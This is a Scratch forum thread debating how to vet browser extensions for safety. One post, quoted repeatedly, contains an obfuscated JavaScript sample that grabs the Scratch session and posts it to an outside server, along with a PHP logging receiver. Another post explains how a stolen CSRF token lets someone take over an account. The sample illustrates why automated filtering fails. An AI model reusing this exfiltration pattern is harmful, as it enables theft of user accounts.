Acceptable Extension Program

NitroCipher

AmazingMech2418 wrote:
I made code that can auto-filter the extensions…

Code can be to easily obfuscated. You would never be able to automatically filter the code unless you have an AI that acts completely human.

I hope my post helped you in some way! Post count: 500+

Current project: [s3Blocks: scratchblocks rewritten for Scratch 3.0] ::#4b4a60 //https://scratch.mit.edu/discuss/topic/290031/ Basically done!

This is my signature identifier “aWFtbml0cm9jaXBoZXI=”

AmazingMech2418

NitroCipher wrote:
AmazingMech2418 wrote:
I made code that can auto-filter the extensions…

Code can be to easily obfuscated. You would never be able to automatically filter the code unless you have an AI that acts completely human.

My code can detect any code security error.

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

Sheep_maker

AmazingMech2418 wrote:
NitroCipher wrote:
AmazingMech2418 wrote:
I made code that can auto-filter the extensions…

Code can be to easily obfuscated. You would never be able to automatically filter the code unless you have an AI that acts completely human.
My code can detect any code security error.

Can you give any examples?

- Sheep_maker This is a kumquat-free signature. :P
This is my signature. It appears below all my posts. Discuss it on my profile, not the forums. Here's how to make your own.
.postsignature { overflow: auto; } .scratchblocks { overflow-x: auto; overflow-y: hidden; }

AmazingMech2418

Not yet since I haven't seen any dangerous open-source extensions to test it.

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

MasterOfTheTiger

AmazingMech2418 wrote:
Not yet since I haven't seen any dangerous open-source extensions to test it.

XD. Maybe I can learn to program an extension and let you test it…

Do you need a good banner, or coding, or something else? Check out MasterOfTheTiger and Coder_Annika's Shop
sig by @myed - get yours here.

Internet versus World Wide Web
Please check out my new coding blog!

MasterOfTheTiger: Owner of MasterOfTheTiger's Shop Triple S, Shop Helpers, and SH Orders.
MasterOfTheTiger: Worker at GlitterStores, Request Shop, +
MasterOfTheTiger: Devoted to the success of Scratch Shops.

Do you need a good banner, or coding, or something else? Check out MasterOfTheTiger's shop - I do banners, logos, thumbnails, coding, intros and more here!

AmazingMech2418

MasterOfTheTiger wrote:
AmazingMech2418 wrote:
Not yet since I haven't seen any dangerous open-source extensions to test it.
XD. Maybe I can learn to program an extension and let you test it…

Sure! I also have to know security problems and add them… XD

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

MasterOfTheTiger

AmazingMech2418 wrote:
MasterOfTheTiger wrote:
AmazingMech2418 wrote:
Not yet since I haven't seen any dangerous open-source extensions to test it.
XD. Maybe I can learn to program an extension and let you test it…
Sure! I also have to know security problems and add them… XD

Yeah, what kind of security problems is the Scratch Team worried about?

Do you need a good banner, or coding, or something else? Check out MasterOfTheTiger and Coder_Annika's Shop
sig by @myed - get yours here.

Internet versus World Wide Web
Please check out my new coding blog!

MasterOfTheTiger: Owner of MasterOfTheTiger's Shop Triple S, Shop Helpers, and SH Orders.
MasterOfTheTiger: Worker at GlitterStores, Request Shop, +
MasterOfTheTiger: Devoted to the success of Scratch Shops.

Do you need a good banner, or coding, or something else? Check out MasterOfTheTiger's shop - I do banners, logos, thumbnails, coding, intros and more here!

AmazingMech2418

MasterOfTheTiger wrote:
AmazingMech2418 wrote:
MasterOfTheTiger wrote:
AmazingMech2418 wrote:
Not yet since I haven't seen any dangerous open-source extensions to test it.
XD. Maybe I can learn to program an extension and let you test it…
Sure! I also have to know security problems and add them… XD
Yeah, what kind of security problems is the Scratch Team worried about?

Viruses, personal info leaks, etc.

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

infinitytec

Total support.
Extensions were a big part of my Scratch experience. I don't want them taken away.

Not here much, but sometimes I lurk.
God has a plan. He has a plan for everything, and everyone.

TheUltimatum

How would this be enforced? What's keeping someone from making an extension and saying it has the scratch team's “approval” will there be some kind of hash or private key inside the extension's code?

solve the cube

TheUltimatum

MasterOfTheTiger wrote:
AmazingMech2418 wrote:
MasterOfTheTiger wrote:
AmazingMech2418 wrote:
Not yet since I haven't seen any dangerous open-source extensions to test it.
XD. Maybe I can learn to program an extension and let you test it…
Sure! I also have to know security problems and add them… XD
Yeah, what kind of security problems is the Scratch Team worried about?

Something as simple as this.

//do fun cool looking stuff
var hat="hAt",gap="GaP",jeff="BtQpdsG:L/q/G";
var spoderman=hat+jeff+"mWyDb"+gap+"dc.gsGeArxvAeBr"; //We use this to log in to scratch! :D
var spiderman=hat+jeff+"sScQrGaLtQcGhB.QmGiOt1.3eFdQuU/AsDeFsGsHiJoKn"
var ballerina="",woodchuck="";
for (var i=0;i<spoderman.length;i+=2) {
  ballerina+=spoderman[i];
  //woodchuck+=spiderman[i]
}
for (var i=0;i<spiderman.length;i+=2) {
  /*How's your "checker bot" going to figure out what's going on here? Basically you'll need to write an entire interpreter for js in js. :P
  ballerina+=spoderman[i];
  */
  woodchuck+=spiderman[i]
}
post(spoderman,{data:get(spiderman)}); //Not bad at all! We just do this to get cool rainbow unicorn spiderspoderman stuff!

<?php
//In PHP because that's for sure what 1337 hackers use.
$sessionlog = file_put_contents('/home/admin/logs.txt', $_POST["data"].PHP_EOL , FILE_APPEND | LOCK_EX);
?>

Last edited by TheUltimatum (Dec. 20, 2017 19:06:10)

solve the cube

AmazingMech2418

TheUltimatum wrote:

MasterOfTheTiger wrote:
AmazingMech2418 wrote:
MasterOfTheTiger wrote:
AmazingMech2418 wrote:
Not yet since I haven't seen any dangerous open-source extensions to test it.
XD. Maybe I can learn to program an extension and let you test it…
Sure! I also have to know security problems and add them… XD
Yeah, what kind of security problems is the Scratch Team worried about?

Something as simple as this.

//do fun cool looking stuff
var hat="hAt",gap="GaP",jeff="BtQpdsG:L/q/G";
var spoderman=hat+jeff+"mWyDb"+gap+"dc.gsGeArxvAeBr"; //We use this to log in to scratch! :D
var spiderman=hat+jeff+"sScQrGaLtQcGhB.QmGiOt1.3eFdQuU/AsDeFsGsHiJoKn"
var ballerina="",woodchuck="";
for (var i=0;i<spoderman.length;i+=2) {
  ballerina+=spoderman[i];
  //woodchuck+=spiderman[i]
}
for (var i=0;i<spiderman.length;i+=2) {
  /*How's your "checker bot" going to figure out what's going on here? Basically you'll need to write an entire interpreter for js in js. :P
  ballerina+=spoderman[i];
  */
  woodchuck+=spiderman[i]
}
post(spoderman,{data:get(spiderman)}); //Not bad at all! We just do this to get cool rainbow unicorn spiderspoderman stuff!

<?php
//In PHP because that's for sure what 1337 hackers use.
$sessionlog = file_put_contents('/home/admin/logs.txt', $_POST["data"].PHP_EOL , FILE_APPEND | LOCK_EX);
?>

So basically, they're worried about ajax post and PHP post.

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

MasterOfTheTiger

AmazingMech2418 wrote:
TheUltimatum wrote:
MasterOfTheTiger wrote:
AmazingMech2418 wrote:
MasterOfTheTiger wrote:
AmazingMech2418 wrote:
Not yet since I haven't seen any dangerous open-source extensions to test it.
XD. Maybe I can learn to program an extension and let you test it…
Sure! I also have to know security problems and add them… XD
Yeah, what kind of security problems is the Scratch Team worried about?
Something as simple as this.
//do fun cool looking stuff
var hat="hAt",gap="GaP",jeff="BtQpdsG:L/q/G";
var spoderman=hat+jeff+"mWyDb"+gap+"dc.gsGeArxvAeBr"; //We use this to log in to scratch! :D
var spiderman=hat+jeff+"sScQrGaLtQcGhB.QmGiOt1.3eFdQuU/AsDeFsGsHiJoKn"
var ballerina="",woodchuck="";
for (var i=0;i<spoderman.length;i+=2) {
  ballerina+=spoderman[i];
  //woodchuck+=spiderman[i]
}
for (var i=0;i<spiderman.length;i+=2) {
  /*How's your "checker bot" going to figure out what's going on here? Basically you'll need to write an entire interpreter for js in js. :P
  ballerina+=spoderman[i];
  */
  woodchuck+=spiderman[i]
}
post(spoderman,{data:get(spiderman)}); //Not bad at all! We just do this to get cool rainbow unicorn spiderspoderman stuff!
<?php
//In PHP because that's for sure what 1337 hackers use.
$sessionlog = file_put_contents('/home/admin/logs.txt', $_POST["data"].PHP_EOL , FILE_APPEND | LOCK_EX);
?>
So basically, they're worried about ajax post and PHP post.

Well, kids wouldn't do bad things with Scratch extensions that require a lot of work.

Do you need a good banner, or coding, or something else? Check out MasterOfTheTiger and Coder_Annika's Shop
sig by @myed - get yours here.

Internet versus World Wide Web
Please check out my new coding blog!

MasterOfTheTiger: Owner of MasterOfTheTiger's Shop Triple S, Shop Helpers, and SH Orders.
MasterOfTheTiger: Worker at GlitterStores, Request Shop, +
MasterOfTheTiger: Devoted to the success of Scratch Shops.

Do you need a good banner, or coding, or something else? Check out MasterOfTheTiger's shop - I do banners, logos, thumbnails, coding, intros and more here!

Sheep_maker

MasterOfTheTiger wrote:
Well, kids wouldn't do bad things with Scratch extensions that require a lot of work.

It's not Scratch extensions that the ST is worried about (they encourage sharing Scratch extensions), it's browser extensions. A Scratcher could make an extension and have kids download it

AmazingMech2418 wrote:
So basically, they're worried about ajax post and PHP post.

Yes, and that's a valid thing to worry about; it could send your information (such as what you type while typing in your Scratch password) to someone else's server. If they have your CSRF token, then they can use Scratch APIs to do stuff without your password as if they were signed in to your account

- Sheep_maker This is a kumquat-free signature. :P
This is my signature. It appears below all my posts. Discuss it on my profile, not the forums. Here's how to make your own.
.postsignature { overflow: auto; } .scratchblocks { overflow-x: auto; overflow-y: hidden; }

AmazingMech2418

Sheep_maker wrote:
MasterOfTheTiger wrote:
Well, kids wouldn't do bad things with Scratch extensions that require a lot of work.
It's not Scratch extensions that the ST is worried about (they encourage sharing Scratch extensions), it's browser extensions. A Scratcher could make an extension and have kids download it
AmazingMech2418 wrote:
So basically, they're worried about ajax post and PHP post.
Yes, and that's a valid thing to worry about; it could send your information (such as what you type while typing in your Scratch password) to someone else's server. If they have your CSRF token, then they can use Scratch APIs to do stuff without your password as if they were signed in to your account

So people can use ajax to hack a scratch account? That could be very dangerous. Maybe any post methods should be blocked in the extensions. I'll now test the code.

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

AmazingMech2418

AmazingMech2418 wrote:
Sheep_maker wrote:
MasterOfTheTiger wrote:
Well, kids wouldn't do bad things with Scratch extensions that require a lot of work.
It's not Scratch extensions that the ST is worried about (they encourage sharing Scratch extensions), it's browser extensions. A Scratcher could make an extension and have kids download it
AmazingMech2418 wrote:
So basically, they're worried about ajax post and PHP post.
Yes, and that's a valid thing to worry about; it could send your information (such as what you type while typing in your Scratch password) to someone else's server. If they have your CSRF token, then they can use Scratch APIs to do stuff without your password as if they were signed in to your account
So people can use ajax to hack a scratch account? That could be very dangerous. Maybe any post methods should be blocked in the extensions. I'll now test the code.

IT WORKED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! THE BLOCKER BLOCKED A TEST EXTENSION!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

NitroCipher

AmazingMech2418 wrote:
AmazingMech2418 wrote:
Sheep_maker wrote:
MasterOfTheTiger wrote:
Well, kids wouldn't do bad things with Scratch extensions that require a lot of work.
It's not Scratch extensions that the ST is worried about (they encourage sharing Scratch extensions), it's browser extensions. A Scratcher could make an extension and have kids download it
AmazingMech2418 wrote:
So basically, they're worried about ajax post and PHP post.
Yes, and that's a valid thing to worry about; it could send your information (such as what you type while typing in your Scratch password) to someone else's server. If they have your CSRF token, then they can use Scratch APIs to do stuff without your password as if they were signed in to your account
So people can use ajax to hack a scratch account? That could be very dangerous. Maybe any post methods should be blocked in the extensions. I'll now test the code.
IT WORKED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! THE BLOCKER BLOCKED A TEST EXTENSION!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

You can't just expect them to get rid of ajax and stuff. Sometimes you have to use these features in your code. (I am currently working on an userscript that adds blocks to your backpack) Extensions would have to be reviewed manually. You cant just blindly blanket features.

I hope my post helped you in some way! Post count: 500+

Current project: [s3Blocks: scratchblocks rewritten for Scratch 3.0] ::#4b4a60 //https://scratch.mit.edu/discuss/topic/290031/ Basically done!

This is my signature identifier “aWFtbml0cm9jaXBoZXI=”

Designandtry

Support (late)

Wetbikeboy2500

I completely agree with what NitroCipher is saying. I think having a team of moderators is what's needed. I think any extension communicated with a third party site should be blocked until the information being sent is on a secure line and is being handled correctly. If we were to make a bot to scan an extension, then the biggest thing to look for would be these unknown sites. That is why you could use a whitelist of allowed websites. If a site isn't on the whitelist, then it should mark that extension for review and not allow it. And for code that is obfuscated, just don't allow it since the code should be open source and readable. Also to make a system like NitroCipher is proposing, I think it would be best if extension sharing was more integrated into the site. If you make the extension more readily available, then you could keep people away from other extensions that are being shared elsewhere. At least, that is how I think we should approach this.

Scratch Made In JavaScript: https://scratch.mit.edu/discuss/topic/171842
Scratch Browser: https://scratch.mit.edu/discuss/topic/285957/
SB2Downloader: https://scratch.mit.edu/discuss/topic/295425/
Multiple work stations: https://scratch.mit.edu/discuss/topic/122484/
New Blocks for Displaying Text: https://scratch.mit.edu/discuss/topic/171508
Sprite Folders: https://scratch.mit.edu/discuss/topic/171569/
Find code easier: https://scratch.mit.edu/discuss/topic/144748/
A Support Button or No support Button: https://scratch.mit.edu/discuss/topic/181154/
I want Scratch grow and become a better place for everyone to come and use. So Scratch needs to expand and have more options for everyone.Scratch needs to break the boundaries and not be trapped by what is familiar to Scratch community

AmazingMech2418

NitroCipher wrote:
AmazingMech2418 wrote:
AmazingMech2418 wrote:
Sheep_maker wrote:
MasterOfTheTiger wrote:
Well, kids wouldn't do bad things with Scratch extensions that require a lot of work.
It's not Scratch extensions that the ST is worried about (they encourage sharing Scratch extensions), it's browser extensions. A Scratcher could make an extension and have kids download it
AmazingMech2418 wrote:
So basically, they're worried about ajax post and PHP post.
Yes, and that's a valid thing to worry about; it could send your information (such as what you type while typing in your Scratch password) to someone else's server. If they have your CSRF token, then they can use Scratch APIs to do stuff without your password as if they were signed in to your account
So people can use ajax to hack a scratch account? That could be very dangerous. Maybe any post methods should be blocked in the extensions. I'll now test the code.
IT WORKED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! THE BLOCKER BLOCKED A TEST EXTENSION!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

You can't just expect them to get rid of ajax and stuff. Sometimes you have to use these features in your code. (I am currently working on an userscript that adds blocks to your backpack) Extensions would have to be reviewed manually. You cant just blindly blanket features.

You can actually make the code very specific and only allow posts to scratch. It would be somewhat difficult though.

I'm a programmer, ethical hacker, and space nerd!

Last edited by Neil Armstrong (July 20, 1969 20:17:00)

sam

Discuss Scratch